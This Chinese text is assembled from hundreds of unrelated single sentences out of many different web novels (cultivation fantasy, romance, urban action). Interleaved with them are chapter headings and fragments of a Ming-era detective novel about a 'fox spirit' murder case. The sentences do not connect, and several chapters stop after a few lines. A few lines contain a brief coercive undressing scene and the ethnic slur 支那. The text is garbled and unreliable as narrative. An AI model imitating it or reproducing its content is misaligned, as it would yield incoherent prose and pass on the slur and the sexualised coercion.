“原来,我和你的距离还是那么远。”宁千度忽然低下了头,看不到她的表情,只能听到她酸楚的动听声音。
当然,他也对毒药这一方面不太了解,再部队的时候,确实接触过一些奇花异草,甚至剧毒之物,有的花草,哪怕是用手触碰一下叶子,倘若划破了伤口,那么直接就毙命的。
熟悉杭雨的人都知道,如果他一点儿表情都没有,说明真生气了。
虽然王开不惧至尊道门,但静璇那里,却是放心不下,苍彦圣子已死,谁能保证仙武境强者破封之后,还会出现何等强者呢?
领域再厉害,只是力量化形,除了封道元相本人,其他的染血之人都是没有感情和表情的。
可能也是看习惯了各种剧烈的爆炸,他对这个“两万吨当量”几乎没有什么概念,总觉得,不算什么。
拿了食物,郝志和大家刚刚坐下,就听到紧急召集令响起,命令舰队里十五岁以下的底层士兵迅速到33星港集合,然后就听到外面匆匆跑过的一片脚步声。
金发修罗部队已经派出去执行天隐者的命令了,这里只剩他自己。
那个可怜的幽影心里一个哆嗦,只是一个字,他就立马猜到了黑衣老者的身份。
可是,这有点不伦不类了,僵尸都是影视作品之中的东西,怎么可能真的存在现实社会之中呢?
殿主手中的茶杯被硬生生地捏碎了,这一生怒吼也是从他的口中发出来的。
原来刚刚白马追缉箭穿过自己的冰凤之时,箭羽上沾了一丝自己的能量,所以才能够一直追着自己不放。
“你吹吧!”钟丽白了他一眼,却不在说话,她平时在家也不下厨房,今天心血来潮,才跑到厨房,本以为很容易,没想到刚切菜,就切刀手了,俏脸难免一红。
第263章 京华暂别离,运河启新程
嘉靖四年的夏日,来得又早又燥。
通州码头,空气中混杂着河水腥气、货物尘土与汗水的味道,喧嚣鼎沸。
大大小小的漕船、客舟、官舫鳞次栉比,
帆樯如林,缆绳纵横,扛包的脚夫喊着号子,
面如黑炭的尉迟敬德,刚才在得到杨凡一个眼神的会意后立刻纵身跟着那红衣公子哥上了乌篷船,此刻正双目窘聚的看着红衣公子哥,一双怒瞪的圆眼看起来好似来自地狱的鬼差般吓人。
好嘛!正走来的乌黑蜘蛛,连开场白都没,扭头飞窜,比妖狼灵智高不少,打老远,便被某人的逼格晃了眼,走是不赶趟了,那得跑了。
看着墓碑后,一个个躺在地上没有盖子的棺材,杨凡着实吓了一跳。
回到玉溪村赵铁柱发现果然和他想的一样,整个村子人心惶惶,看到赵铁柱时眼神也很奇怪。
“哪有什么事业,我就每天‘混’吃等死的人,有的事情也是无聊的时候做做。”张扬很是谦虚的说。
夜珅自从被晋逸辰下了千蛛毒之后便一直惨叫不止。在黝黑深黯的地宫之中,那声音更加诡异。
慕容祁眼底的喜色顿时喜不自胜,不过还是被他强制镇定,给压了下来。
借力打力的核心是直接向18罗汉中的犬神媾耳告密,披露柳翠莲是支那间谍;赶来舟山路1888号要摧毁日本人制造假法币的窝点。
赵铁柱听到赵梦娇娇软软的声音里面,透露出一丝困惑和不甘,但赵铁柱唯一能够做的,也只有将赵梦给紧紧地揽在怀里,细细的安抚着对方的情绪。
刀疤脸又问了这位大婶村子里没有哪家收留了外来人的事,大婶说村子里都是土生土长的村民,一些壮年有能耐的都出去打工了,剩下种地的不是结了婚的,就是老年人在家带孩子的,没有生面孔。
丁耀阳?刚刚他看到他吗?他是不是误会呢?她才刚认识他不久,哪里说爱。
“从一开始你们就没想过要帮助我们吗?”释武尊也有些难以置信,毕竟,释武尊对于楚轩可是极力推荐的,如果没有释武尊的推荐,独孤鸣也未必就真的会在短短的一个月之内,就如此的信任楚轩。
一生的火焰在此刻燃尽,浓烈的黑烟之中,失去了什么,又得到了什么?
我心中一跳,一个不好的预感在我脑中浮出,比摩尔还要强的气势,那绝对是大陆上的称霸一方的强者,而在这个时候能够到来,那无疑就是夜魇势力六大BOSS中的一个。
“汪老?他是你师兄?”唐凡下意识地想到了冥界主宰,一脸疑惑地问道。
基尔达斯现在面对的是七海将军之中的海马拜安,此时的基尔达斯已经解决了一路上遇到的所有白银级的斗士了,虽说只有三个,但是,基尔达斯也依旧明白,眼前这个才是真正的强敌。
火焰刀虽然以刀命名,但确是由掌发力,呈手刀劈下,少林寺的七十二绝学之一。
说吧,威廉博士彻底沉没在了水中,唐凡也无法继续跟踪,只能沉默在原地,回想着威廉博士的话。
“我好像一直都没问你要带我去什么地方。”幽蓝的空间门就在面前,进入的人得想着要去的地方才能够定点传送,夏铭渊一直拖着不说话,承诺为免发生自己被传丢的尴尬情况,必须要问上一问了。
第264章 舟中训鹤岑,细节定成败
官船顺着运河南下,过了通州地界,两岸景致愈发开阔,但河道也渐渐复杂起来。
时值初夏,芦苇已长得比人还高,
郁郁葱葱,随风起伏,形成大片大片的青纱帐,
“没准,灵菁她只是想换个地方去散散心呢?”陆艺林实在也是想不到什么好词来安慰了,他作为白灵菁和慕修两人共同的朋友,当然不希望两人因此就这么散了。
当然也不是说他们就放弃了训练赛,只是选择先练好队伍之间战斗的配合。
不过就算在不舍得,还分开的还是要分开,毕竟J国已经十分的不安全。
顺从了申锋冤有头债有主的思想,最后决定就处理掉两个主事之人和他们的心腹。
不过,若是此次卢家之事让华初知道了又有他们两兄弟的身影,那她绝对不介意新账旧账一起算的。
最后,纪余行在路边停了下来,狠狠的踩下刹车,身体猛然往前倾。
尤恩抿着嘴巴,看着这足以令人惊悚的属性,再度继续去看后面的缘分属性。
“哥哥,我现在什么都没有了,你可一定要帮帮我,除了你之外,也没人肯帮我了。”白敏扑在白啸的怀里,一阵嚎啕大哭。
所以,也就是纪南深的那一枪,让顾清延彻底的相信,夏繁星没有任何的利用价值。
君严顿了顿,在这一顿的空余时间内,他的嘴角提起了一股莫名的笑意。
秦阳最终还是按捺住了这份痒痒的心态,开始横向的在丛林里奔走,他想绕行一圈,看看是否还有其他类似的信号塔。
狸花最后的声音连同大锁扣住的声音一同传来,花九听不懂狸花的意思,也不知道她为何这么笃定自己会放她。
碧水瞳扫过猿妖掌心下的脉络,这庞大的手掌中,脉络有如老树根一样盘根错节。
这个时候,夏封心情非常不爽,还是让他自个安静安静,平复一下心中的戾气。
杨浩然等人的位置自然都是在最前面,所以司徒香拍摄得非常清楚,在短暂的寒暄之后,一位主持人走上了高台,开始用热情洋溢的词语介绍起这次交流会的由来以及这次参与交流会的嘉宾。
骆驼老道身上也许还存有一些灵石,他还藏得深层,怕李末抢了他的,但他都把乾坤袋藏在两腿中间了,李末就算是穷死也不会去抢劫他。
莫羽的态度很明确,既然有可能和这对强大的杀手师徒成为联盟或者朋友,那为何要放过呢,毕竟这对师徒虽然是杀手,但是却算不上坏人。
无法抵挡以美九为中心爆发的剧烈音压,大部分AST的成员都被击落到了地上。
见到这一幕,辽远也是发现了问题,他发现君严的御魔剑上,在斩杀的金牙蝮蛇后,竟是没有留下一丝鲜血在剑身之上,这明显是不符合常理的。
有人带头,其他人跟着嚷嚷,至于符不符合当前厂子财务状况,才不管呢。
毕竟,前有李总管那老阴阳动不动就拉着胡亥找嬴政吹耳边风,后有池子华打起了主意,赢丹不得不防。
莫名的拉高了对于生活水平的需求,对事物追求的眼界,见多了纸醉金迷的生活,让心里平衡点与落差感更大了一些?
第265章 泰安传急报,明轩遇难题
官船过了那段芦苇丛生的险要河道,一路南下,倒也暂且太平。
那个被看管起来的浆洗婆子,
任凭周大山如何审问,
只一口咬定是自己手脚不干净,
想偷摸点主家财物,眼神躲闪却问不出更多。
江阳忍不住有点想笑,他已经能够想象出来,那些费尽了心思想要写出一首好的诗词以博得美人青睐的才子们是什么样的表情。
大家都是聪明人,查尔斯不是看出来她有什么问题,就是看出去他父亲有什么问题。
“糟糕,越前的才华横溢被克制住了!”大石有些焦急地喊了一声。
此时前面是个类似停车收费的路障,只要冲过去,就彻底离开了社区。
王点有点差异了,宇宙模仿被带回了神界,也就是说,复仇者联盟曾经成立国,并且成功的阻止了灭霸入请?
去年那次决斗,朱洪长久以来的骄傲与尊严,被彻底粉碎,也是从那时起,他们的差距越来越大。
要是马德里竞技能够把握住有限的进攻机会,皇马主场落败也不是不可能。
这无疑又让他的攻击力提升了一个档次,毕竟【炎魔拉格纳罗斯之手】虽然攻击力上限要比这两柄武器都高出一些,但不要忘了,在【炎魔拉格纳罗斯之手】发动一次攻击的时候,两柄武器就能够发动两次攻击。
起码网吧不透风不漏雨,有比睡床还要舒服的独立游戏仓可以睡,还有公共卫生间,早上起来洗漱也不是问题。
藤峰满面轻松地一拍回击了真田的风,他已经适应了风的度,应对地更加自如,这下就轮到他反击了。白鹤亮翅的角度一变,用很低的角度和方向打向了真田侧边手肘的死角部分,是极难应付的一球。
“等会听我口令,一旦谈判失败,集中所有力量击杀布鲁克。”艾瑟琳冰冷的说道。
那五十只铁木重箭穿越了三百米的距离,朝着冲在最前面的一排狼头人射去。
“不好意思甘凉,我把薇薇叫来你不介意吧?”汪诗茜歉意地看着甘凉,语气很诚恳。
你一直都在强调底牌,但是你知道我们炎国最大的底牌是什么吗?
当虚丹凝实成型,则是凝丹期,凝实内丹之后,巩固修为则是固丹期。
感受着族人的变化,凤夜等人,皆是欣喜异常,如果他们没有猜错的话,在这个生死攸关的时刻,族长竟然再度突破。
这时的王国上下,所有人都意识到:65岁的詹姆国王,真的要不行了。
当聂风拖动阿月的尸体时,脚下一踉跄,险些摔了一跤。疲惫的将阿月的尸体放好,聂风再也坚持不住,便瘫坐在一堆已经有些枯黄的红叶上,开始闭目冥想。
由于要来的人太多了,所以莫千跃早已安排了人,在庄园内的一块草坪上,摆满了很多桌椅板凳跟吃喝的东西,烧烤架子都摆了不少。
因为他们的呼吸之间,就在吞吐着天地灵气,跟一般修士入定修炼的时候一样。
云鹰清楚地有一种波动或震动蔓延出来,犹如触电般的感觉,瞬间就遍布了全身,它能影响身体每一个最细微粒子,使其发生震动,改变原有频率,从而释放出高温高热。
第266章 狐仙索命案,迷雾罩东平
“妖孽?”
苏惟瑾眉梢微挑,面上不动声色,心中却是一凛。
能让徐明轩这等人物用上这个词,事情绝不简单。
“子睿兄,坐下慢慢说,究竟是何等‘妖孽’,竟让你也束手无策?”
沈浩笑了笑,把金币揣进怀里。他其实很清楚,石雨萱并不是以体力见长,记得过去在魇界当中,她一直都是由徒弟为她拉车而行,尽管如今彻底稳固了至尊境界,可长途爬涉方面依旧比沈浩差了不止一星半点。
他伸出一只青色的手掌,手掌之上长满青色的鳞片,如同怪兽的利爪。
“百灵雀的血液是难得的灵‘药’,而且更是难得的调味品。以它的血液直接烹制,既可以保证它的新鲜,还可以让它充分入味。”林木说话的功夫,就已经将百灵雀给剥干净了。
柳寒微微点头便没再说什么,屋里陷入沉默,纯阳子不是多嘴的人,青灵虽然有好些话想说,可在纯阳子面前,也不敢多嘴。
熟悉的味道,让亚瑟眼睛一亮,不由再次伸出筷子,多夹了一些,放到嘴中咀嚼。
你们信不信,要不是有那一盒子镇场,他们还真不怕我,可能一言不合就会大打出手,这也是我的优势。
“哈哈哈哈,那你说这么办?要不你随便选几样看得上的带走?”神宫满脸笑容的看着秦天,感觉终于出了一口气了。
哪怕是不明就里的凌飞扬心中也不由得多出了几分紧迫,这要是支撑不住一下子砸下来那可咋整?
秦天被云梦无情的推进四耳鼎,连出口也给他封死了,本以为这里面会是一片烟暗,暗无天日,但是当秦天冷静下来后,才发现,眼睛还能看到东西。
跟龙傲天,贺刚他们一起吃了一顿早餐,秦天开着车离开香山,前往燕京国际机场。
开口说话的就是龙腾帮的超级打手赵泽,他是继龙腾帮帮主之外在帮中威信最高的第一人,龙腾帮在湛海市一半以上的地盘都是此人打下来的。
象山海杀气腾腾,再次扬起了手里的长鞭,这一次,直接把功力提升到了十成,要全力出手。
“给我好好查查未来式科技公司的背景,我们的人去到湛海市没多久,就莫名的失踪,我不相信会这么巧合,给我好好查,看看这件事到底和他们有没关系!”伊贺藤春生气的盯着下属吩咐道。
想到这里,他禁不住浑身哆嗦,犹豫着不知道该不该开门了。不过,确保钟楼景点的安全也是他的职责所在,再加上有警察和特警在,他还是硬着头皮打开了门。
阿诺的叙述中的家里人,实际上也就一个退休在家的老父亲和妹妹,他离开的时候,妹妹刚刚上了大学,也不知道现在怎么样了,谈及他的妹妹的时候,方离都能感觉到他眼里的那种怜爱之情。
数量还不是最出乎他意料的,最出乎他意料的是最后一辆竟然是一辆类似于军用的大货车,厚厚的“铁甲”,高大的“身躯”,完全就像是一辆装甲车。
现在这一刻真的出手的话,只要他们也能够轻而易举的击败,可以说是更加让他们感到了惊讶不已,若是在这一刻真的出手的话,只怕没有任何人能够与之匹敌。
第267章 超脑析疑点,瑾言破迷障
徐明轩见苏惟瑾答应插手,精神顿时振作了不少,
仿佛溺水之人抓住了救命稻草。
他立刻命人将“赵半城暴毙案”的所有卷宗,
连同仵作格目、现场勘查记录、相关人等的讯问笔录,一股脑儿全搬到了书房。
苏惟瑾也不客气,当即便在徐明轩的书案后坐下,
“随着时间的推移,这些无法投胎也无法逃脱三条大河的阴魂自然就会开始研究如何才能离开大河。
一时间,随着云镜上画面的变换,徐澈感觉自己好像进入了当年的那场兽潮之中。
温不胜迟疑地点了点头,没有回答柳青的问题,但徐澈心中却是想到了自己的前世。
那是从海底之下涌现出来的、巨大的、近乎可以突破天际的存在,当时那巨大的黑影掀起的浪潮就击溃了卡琳的船只,让卡琳在落入了海洋当中。
索罗亚也意识到这不是简单的身份游戏,精灵自身的实力也是游戏中重要的筹码。
怎知,更为夸张的一幕出现了,似乎是早已盯上鹿灵,无数饿狼就等待着这只羔羊迈出那一步,鹿灵才刚刚来到马路边,只闻四面八方汽车引擎轰鸣,淡蓝色的旋风争先恐后的奔向鹿灵所站的位置。
一个傻子怎么可能在娱乐圈混的风生水起?把橙田家禾发展成为国内最大的娱乐公司?
他来到沙子铺成的赛场上,面前站了一个瘦高瘦高的男人,身上穿着黑色的法师服,手里的武器是最常见的魔法杖,身体周围漂浮着如同宝具般的奇怪饰品。
西施惠紧紧盯着眼前的维多利亚,她总觉得维多利亚最近表现的有点前后矛盾,西施惠对着方面的事情并不算是太过于了解,自然会好奇。
现在霍香凝和王彩娟都过来了,家里就没有必要去食堂打饭了,不过霍云霆还是带着他们三个去了一趟食堂,看看有什么好吃的。
看到疤三眼神中涌动的一丝的异样,王二黑又补了一句话,他相信疤三,但是绝对不是无条件地相信疤三。
林凯还沉浸在对方忽然提起的百万音乐人更受欢迎的夸奖中沾沾自喜。
因为李二龙这家伙可是没皮没脸的二皮脸,而且心也大,一般什么事情可都不放在心上的,也很少会因为什么事情而多么的发愁,所以说,王雪兰是没看见过李二龙露出这样苦瓜脸来。
从那个时候开始,海外逍遥仙,踏足任遨游的传说便开始在人族中传播了开来。慢慢的‘海外逍遥仙,踏足任遨游’成为了人族追求自由的一种活动。
从李鹤的角度,以为穆老板后头还有不得了的手段或招数,甚至可能还有不得了的人物在幕后等着出手。
更乔况老祁又是一个不怎么会说话的人,也不能表达自己的感情。
却见这令牌,通体金色,上边一个狮子头,栩栩如生,释放着凶煞之气!光是从令牌上,都能够感觉出,这金狮军,绝对不同凡响。
卢水胡一直依附大汉,曾多次作为大汉的雇佣军出征西域、匈奴,镇压各地起义。是凉州士兵来源的很大一部分。
短短的十几秒钟的时间,只见张翠翠身上已经只剩下胸罩和内裤了,眼看着赵汉亮马上就要把这两件内衣也给弄下来了,张翠翠的脸上全都是痛苦的表情。
第268章 微末藏玄机,蛛丝现端倪
赵府坐落在东平县城东,算是闹中取静的好地段。
朱漆大门上的铜环泛着幽光,门楣高大,
只是如今门庭冷落,连那对石狮子都仿佛沾染了几分阴森气。
得了徐明轩的吩咐,赵家如今的主事人,
赵半城的独子赵德宝,早早候在门前,
他约莫二十出头,面色苍白,眼带血丝,
“他怎么杀到咱们斯坦古城来了!”莫说是三位涅槃境高手,全城无数人都在看着这么一幕,只不过无人敢上前。
提尔懊恼地一拍脑门,狠狠地在心中骂了自己一句:我怎么忘记那家伙了?
头上的头发虽然没有夸张到变成黑色,但是也没有之前那种病怏怏的乌灰,更让他惊讶的是,他脸上的老人斑全都不见了。
林奕为了保险起见,手已经是亮出了银针,直接插在了白眼的天行穴,暂时封闭了白眼的五感。这样的话,白眼想睁眼看,恐怕也是做不到了。
秦晔回国后,发现啥事都没有,不过是父皇想他想得不行了,才严令他回去,不禁气得半死。
按照坦帕斯的想法,直接一起上,干掉李奥克斯,打完收工就好。
看他嘴角微微上扬,精致的眉眼之中透着一丝丝的寒气,更是杀意泄露。
他本来也有再来这样骗人,肯定没有什么存在感,无论如何我已经没任何的话语权了,请相信我一次吧,在这个世间从来没有人会跟他一样继续说任何的废话,我也希望我们能够将这一切给说清楚。
“虽然我现在只能动用一半的修为力量,但是,足够我杀你了。”魔炎谷谷主幽幽的说道。
但是发现每个掌控术都非常难修炼,有了源,还未必能施展出来。
“前面的,别光顾着亲热,好付钱了!大家都等着呢!”一位大爷在背后不耐烦地大声喊道。
云若颜进了城,因为要夜探明王府,而现在只是早晨,所以她并不着急。
傍晚时,风严旸的寿辰吉时到来,众人纷纷去大厅观礼,风家是来自低级大陆,他们的礼仪与沉渊大陆极为相似,都是颇为繁琐和讲究的,一套繁琐的礼仪结束后天色已然完全黑了下来,晚宴接着便开始了。
他正目光冷峻地盯着电脑处理邮件,时不时眉头紧皱,一副全神贯注的样子,已经完全无暇顾及我的存在。
在初闻丹香的那刻,玉岛主已飞至主殿东耳房外伫立,眼底喜色浮动,无双仙颜微现红光。
只是他们还没有到灵灵跟前,就被映雪的手下拦住,而后对打了起来。
毕竟这个情况他也是明白的,现在不过是因为情绪失控罢了,等过她自己过一段时间就会好了起来,一切都可以解决的。
擂台下方有人惊呼出声,一眼便看出了胡强手中火红色葫芦的来历。
乐韵不想再浪费口舌,松开了扼制李氏下巴的手,再点了李氏的几处穴道,拖过放一边的药箱,拿出了血袋和针管。
灵灵有点恶作剧的看着一会将要被他们耍弄的冰鳄鱼,一阵好笑。
结果人嫁头婚的看我是带着两个儿子的,门都没让我进就直接拿扫把把我给赶出来了,还骂了我好一顿不要脸。
可看她这熟门熟路的样子,以及和段飞扬交谈时的语气,哪里还需要她带?
从比赛的第六局开始对方的打法就一直给他们一种十分熟悉的感觉。
第269章 双线锁真凶,迷雾更重重
第269章双线锁真凶,迷雾更重重
回到驿馆,苏惟瑾片刻未歇,立刻兵分两路。
他将那包从通风口刮取的细微粉末交给周大山,吩咐道:
“大山,你扮作采购药材的客商,去城里各大药铺、香坊悄悄打听此物。
重点问其性状、效用,特别是燃烧或熏蒸后有何效果,
他身没有法宝龙王王座面对这种情况还要好使,龙王王座是仙器,本体坚硬无,他算是全力轰击,也不会对龙王王座造成损伤,而他也相信,其他的法宝也很难对龙王王座造成损伤。
二人从客栈出来,直奔锦城最好的医馆而去,待走到四下无人之时,燕兰熙停下了脚步。
根据之前的规律,还有九年这片区域就会再一次发生大裂变,到时候就是九头蛇的死期。
兴许是银鲨部落抢夺食物的征程,才使得这些看上去奇形怪状的螃蟹,离开自己熟悉的海域。
“哈哈哈……不用担心,银票我今次有给足你!不过你想要解药的话,下次就请庞鹏先生带更有用的情报来。”她的话音刚落,就看到庞鹏突然双手捂住了鼻孔——只见他鼻孔流血流个不停,而且气息紊乱异常。
云樱儿托着腮帮子,头上新摘的梅花微微有些枯萎,没有了刚刚的洁白无瑕。
看来人类真的拥有感染一切智慧生物的能力,就像它面前匍匐着的周辰。
哎,可就是这种巧合,竟然让瞎猫撞上了死耗子——赶巧了!好嘛!这下肖素素哪能放过这个假孕的李皇后,她不让她下台,死都会合不上眼儿的。
“您这是怎么啦?”他擦了擦自己额头前面的汗,不明白丞相怎么突然变得那么的热情?
“就是在吾族居住地不远处的海沟中生活着一条蜕凡境海怪,这海怪以我们鲛人为食,族人要是没有我的保护,肯定会被那海怪吞噬,所以我打算亲自出手,麻烦师兄为我压阵。”沧云娜讲述着要他帮忙的事情信息。
手持大棒的大队长把我们轰走,一转眼我们又嗅着气味来了。在大队长的心目中,我们大概比那些苍蝇还要讨厌。
鹏的身体有些颤抖,看那样子就像是突然失去了战斗力一般,李云牧立刻就乘胜追击了起来,千万不能让这鹏再一次恢复战斗力。
“我们来玩个游戏吧?”莫喧伸手将她嘴上的胶布撕了下来,对后面的两个抓苏清歌的壮汉使了使眼色。
那名侍卫听了,看了一眼流云院,再看了一眼眼前的红袖,思索再三,做了决定。
李海闻言露出了若有所思的神sè,良久才开口说道:“那我试试”。
在一片枯树林前方,干枯的河滩对面,有个营地。营地中央,是一个木质雕像,高度差不多有三十多米。
羊羊体育中心减肥业务的收费高昂,比绝大部分著名的减肥产品都要贵一些。
叶惟听到这,不禁皱了皱眉,陈平叔叔又在削弱爸爸的权利,不禁冷呵两声。
只听“噼哗——”一声,旁边的一扇玻璃顿时成了一堆碎片,啪嗒啪嗒的掉落了一地。
是自己亲手推开她,她有了自己的家庭也是应该的,自己居然还那般不要脸的去纠缠她。
缓缓的低矮坡道上种植着几十株银杏树,围绕着银杏树的那些灌木将绿洲勾勒出一条条道路。
第270章 三凶浮水面,恩怨交织缠
两条指向不同的线索,如同两股拧在一起的麻绳,非但没有让道路清晰,反而更显扑朔迷离。
苏惟瑾深吸一口气,强迫自己冷静下来。
超频大脑如同最高效的处理器,摒弃纷杂的干扰,回归案件的核心——人。
“你们看,东西都是全新的,会不会,负责人让我们学做饭?”一个弟子突发奇想的说。
凭着这门僵尸身法,暗叟无疑是躲过了一劫,但正当他暗自庆幸的同时,忽然觉得右手一痛,下意识地便是低头去看。
通讯移业厅外边也乱套了,从爆炸响起便有路人报警了,事故发生5分钟后,公安局,部队,医院急救车,消防车呜啦呜啦全来了。
“亲爱的观众朋友们,这个敌人太嚣张了,看来主播要迎来自己的首杀了!”蹲守楼梯口的林峰听着越来越近的脚步声紧绷的神经稍稍放松,认为自己杀这个敌人已经是板上钉钉的事情,所以有点欣喜的对着直播间说道。
“那还是背吧。”朴素妍的本意是自己走下去,可朴初玺是不会让她走下去的。
易鸣夺回主动权后,左手继续控制着她的要穴,右手往她背后一托,两人顿时贴得紧密无间。
直播间内的观众在看到林峰这副模样后,瞬间被勾起了好奇心,但是接下来任凭他们怎么问,林峰也是守口如瓶,连一丝自己的想法都没有朝直播间内的观众透‘露’,让直播间内的观众根本不知道他到底是怎么想的。
十多分钟后,满脸戾气的螣蛇带着一截断掉的手臂气馁的回到徐少棠他们身边。
这戴副总说话也太不留情面了一些。人家施醉醉长得如花似玉,却被戴副总这么一顿奚落,以后要怎么出来应酬?
娄沁是故意不提的,就怕施醉醉心里膈应,她没想到施醉醉会主动提起陆随。
哈曼知道自己要抗住位置,哪怕下场和海皮亚一样也无所谓,他必须抗住。
动力室已经陷入到一种绝望的情绪之中,无论什么样先进的武器,对于那个不断逼近的怪异都毫无作用。
他还以为自己是突然走运了呢,结果原来都是魔王二叔设计好的。
不到两个月的时间,徐家就已经落魄到底,逐渐退出了海市几大家族。
仙仙顿了一下把麦克风给他,两人一举一动一丝旖旎暧昧意味都没有。
若是让徐爱国和罗素兰知道叶清源的身份,肯定不会像现在这样谈定,叶氏集团的产业早已触及山县,解决了上万人的就业问题。
燕归天手掌一翻,镰刀如长眼一般刺向徐少语,镰刀上出现了一个骷髅头幻影。
“信与不信,你自己看着办。”凤清瑶也不勉强。但她知道,百里锦若是有点脑子便能明白,宁王若起事,胜了,便会杀她以绝后患。若败了,也会拉着她陪葬。
想要赈灾,首先要准备的就是粮食。等到粮食吃完了,聚集来的百姓越多,闹出来的事情就越大。
只是在过往的某个瞬间,她曾经对沈浪动过心。然后,在沈浪与她表白之前,她已经察觉到了他们的结局。
“君祁,你放手。”洛云汐见他不放手,心一横,再一次朝着刚才的地方抓过去。
这般重重加持之下,让得这位丞相手握大权,即便是当今皇上,也要敬他三分。作为一个官员能到达如此地步,已经是登峰造极了。
第271章 公堂审鬼蜮,巧计破心防
随着士特鲁瓦分部被杨帆瓦解,直到后来弟弟的惨死,将暗夜军团和骷髅会,推上了你死我活的阶段,他不得不拿出所有的实力先解决掉暗夜军团这个大麻烦。
此战过后,达克索达斯人终于明白普通圣域根本对付不了这些怪物,只有传奇强者才能与之一战。然而,双方的传奇强者一直在相互牵制着,如果达克索达斯人调来一名传奇强者,那就压制不住诺兰德一方的传奇了。
他甚至能够想到,云天扬利用炼妖壶,将一颗颗低级、而毫无用处的普通晶核,全部融合成了十方境晶核……而以后,云国之中,将会出现成千上百的十方境战帝级别的机关兽。
“是!这是和‘万魂丹’一样都是属于禁忌丹药。能够让凶兽透支生命进行变异……从而使得凶兽的实力大幅度的提升甚至还有跨越一阶的可能!”云天扬缓缓道。
凤翔舞的心里干劲十足,他就像是一匹动力十足的骏马一样,鼓足了劲,决心拼一拼了。
等到柳云晴走到门口的位置时,萧云飞才重重的呼了一口气,转身朝着古界入口的位置走去。
黑蛇趴在地面上浑身颤抖着,口中咳出了绿色的血液,腐臭的味道充斥着他的口腔。不仅是地面上的血液进入口中,而且还有着从他体内流出来的血液,不知不觉中,连他自己都没发现体内的血液已经开始变成绿色。
“怎么可能?!”隋紫露震惊得有点不敢相信眼前的一幕。她这招火凤凰浓缩了所有的魔力,这火焰比对付雾龙时施展的涅槃之焰更加灼热。
董仁厉声厉鬼,终将漏出他的爪牙。既然软的不行,那就只好来硬的了。
然后,四人尽皆陷入沉默,慢慢喝着自己杯里的茶水,一时间只有捧壶斟茶的仆人脚步声轻轻地移动,其余人犹如置身神庙的泥雕木塑。
“闭嘴!”夜晚真是被千舒瑀给气死了,也不想想是谁害得她落到这般境地。
三千万听上去很唬人,但换算成软妹币的话,甚至连三百万都不到。
青龙市十六个顶级势力,依旧是一个不多一个不少,这让不少八卦之人都觉得,问天盟这是取代了洪门的地位,只是,关于问天盟到底有多强这个话题,却是没有任何势力可以判断。
今天他似乎很累,白皙的脸上带着不正常的红晕,如果不是体力过度透支,就是生病了,只是却掩饰得很好。
“双方若要结盟,多的是途径,并非联姻一条,妹妹也可转告陈夫人,楚王府不会疏远陈参议。”旖景又说。
如果是之前的话,在听到雷家这两个字时,众人多半有可能吓得腿软,毕竟那可是青龙市赫赫有名老牌上流势力,绝对不是他们这些中流势力所能抗衡的,两者之间完全没有半分可比性。
阿金失笑心道,那几个货色,唯有传送坐标才能救他们的命,遂与阿黄一起召出羊力和猫冬,悄声吩咐它们,然后让它们走出传送阵,去到外面木城废墟高处,故意眺望外围那几个回归者。
“是天机宗的高级传音符发来的消息,还不知道西宗会有谁来,”木青子讲话声音很是凝重。
第二天一早,阴天阳就将清灵门的众人带到了擂台所在之处,值得一提的是,此次比试所在场地竟然在天玄宗的火山之上。
夏初一知道青虞没有回左相府是因为,他从长公主府出来的时候,远远瞧见有人站在巷子口拐角处的树下,一身的落寞。
叶茴安一咬牙,突然伸手撑在司景遇耳侧,半边身子压在他身上,笑的邪气。
君慕辞曾经听沈云舒说过,她的目标和梦想就是想变强,进第一神府学习。
娇娇还保持着纯真,和马长庆相依相爱,而自己呢,除了亲情、友情,这辈子估计再也无法享受爱情的洗礼。
雨声漓漓,他不知不觉的看着客厅落地玻璃墙外自己的花园发起呆。
惜月听了,连连答应。催着良岫把山药羹吃了,拿了碗匆匆去了厨房。
盛父愣住了,盛母也看着盛老三,而盛老三呢,则只能从沙发上起身,走到了老爷子的面前。
重华殿院子中的灯火,在他模糊的视线中变得迷离起来,夏重华眨了眨眼睛,感觉灯火都糊成了一片。
拳头一捏,乔靥咬了咬牙一副豁出去的样子,两眼瞬间落在屏幕上,结果在那张鬼脸逐渐放大时又‘嗖’的收了回去。
那本该划过她手心的匕首,在最关键的时刻,转了方向,落到了他自己的身上。
孤独锋施展出来的漆黑而死寂的剑域,雷蒙爆烈轰杀过来的雷光球,全都在武婧雯一指荡漾开来的清冽光波之中,寸寸破碎,消散成空无。
那尊斩二生主宰,和他之间有着很深的关系,可以追溯到上百个时代之前了。
柳逸尘伸手在墙里做了一个拈花的动作,然后便有一朵美丽到不真实的花儿出现在他的手中,他轻轻的一抖,花中就散发出沁人心脾的香味儿。
“什么?猛虎师进入京城,替代京城卫戍部队。”胡为重震惊的说道。
次日,柳逸尘很早就起床洗漱出去锻炼,在操场上跑步的时候,他看到了也在跑步的陈晨和安然,她们穿着运动短裤和背心,雪嫩的大长腿火辣的身材,就算是没有绝美的面容,也异常的吸引人。
第272章 贤名传鲁地,瑾语点迷津
东平县衙那场石破天惊的公堂审案,
如同长了翅膀般,半日之内便传遍了县城的大街小巷。
起初是惊愕哗然,待确认那困扰全城半月之久的“狐仙索命”竟是管家与堂兄合谋的毒计后,
惊愕便化作了震天的欢呼与对苏惟瑾的由衷赞叹。
“了不得!真是了不得!
那位苏御史,年纪轻轻,竟是文曲星下凡哩!
沸沸扬扬的吵嚷声使关锦璘惊诧不已,刚才他还觉得坐在台下是一帮羔羊;他这只老虎他们的肉给他们做蛋糕,可是一眨眼的功夫;鸟枪换炮呐;沉闷的羔羊发出抗议的声音,支那人真是捉摸不透。
但关锦璘选择了英国,英国是棉花种植大国,珍妮纺纱机的发明,是纺织技术突飞猛进地发展;关锦璘钟情于棉花种植,上英伦半岛义无反顾。
什么他做不了主都是客套话,谁人不知谢家两兄弟向来齐心合力,只要是他谢无极应承的事,谢无峰向来从不推脱。
她好像记得中途耿烨华似乎提到了佳唯,然后,然后似乎被凤华离打断了?难道重点是在佳唯身上?凤华离想向她打听佳唯的事?
原田祖中8兄弟在宋乃亮4人带领下,向拥聚乡亲的紫荆保庄户家中走去。
我不善于撒谎,所以面对他期盼的目光,我还是选择了沉默以对。
庄老板又是一震,尽管心里挤满了屈辱和不甘,最终他还是答应了下来。
“所以你就拿苏染染开刀?你信不信,我会让你生不如死。”苏卿寒说完之后,对着他的手臂开了一枪。
秦墨只要远远的看苏染染一眼就可以了,现在苏染染进去了,还对她打招呼了,他自然很是满足。
“好好吃的样子!”看着向日葵这一页的灵梦,突然一脸开心的说道,这让一旁的艾尔莉柯及其无语,默默地望着天,而在一旁的露米娅差点一口老血就喷出去了。
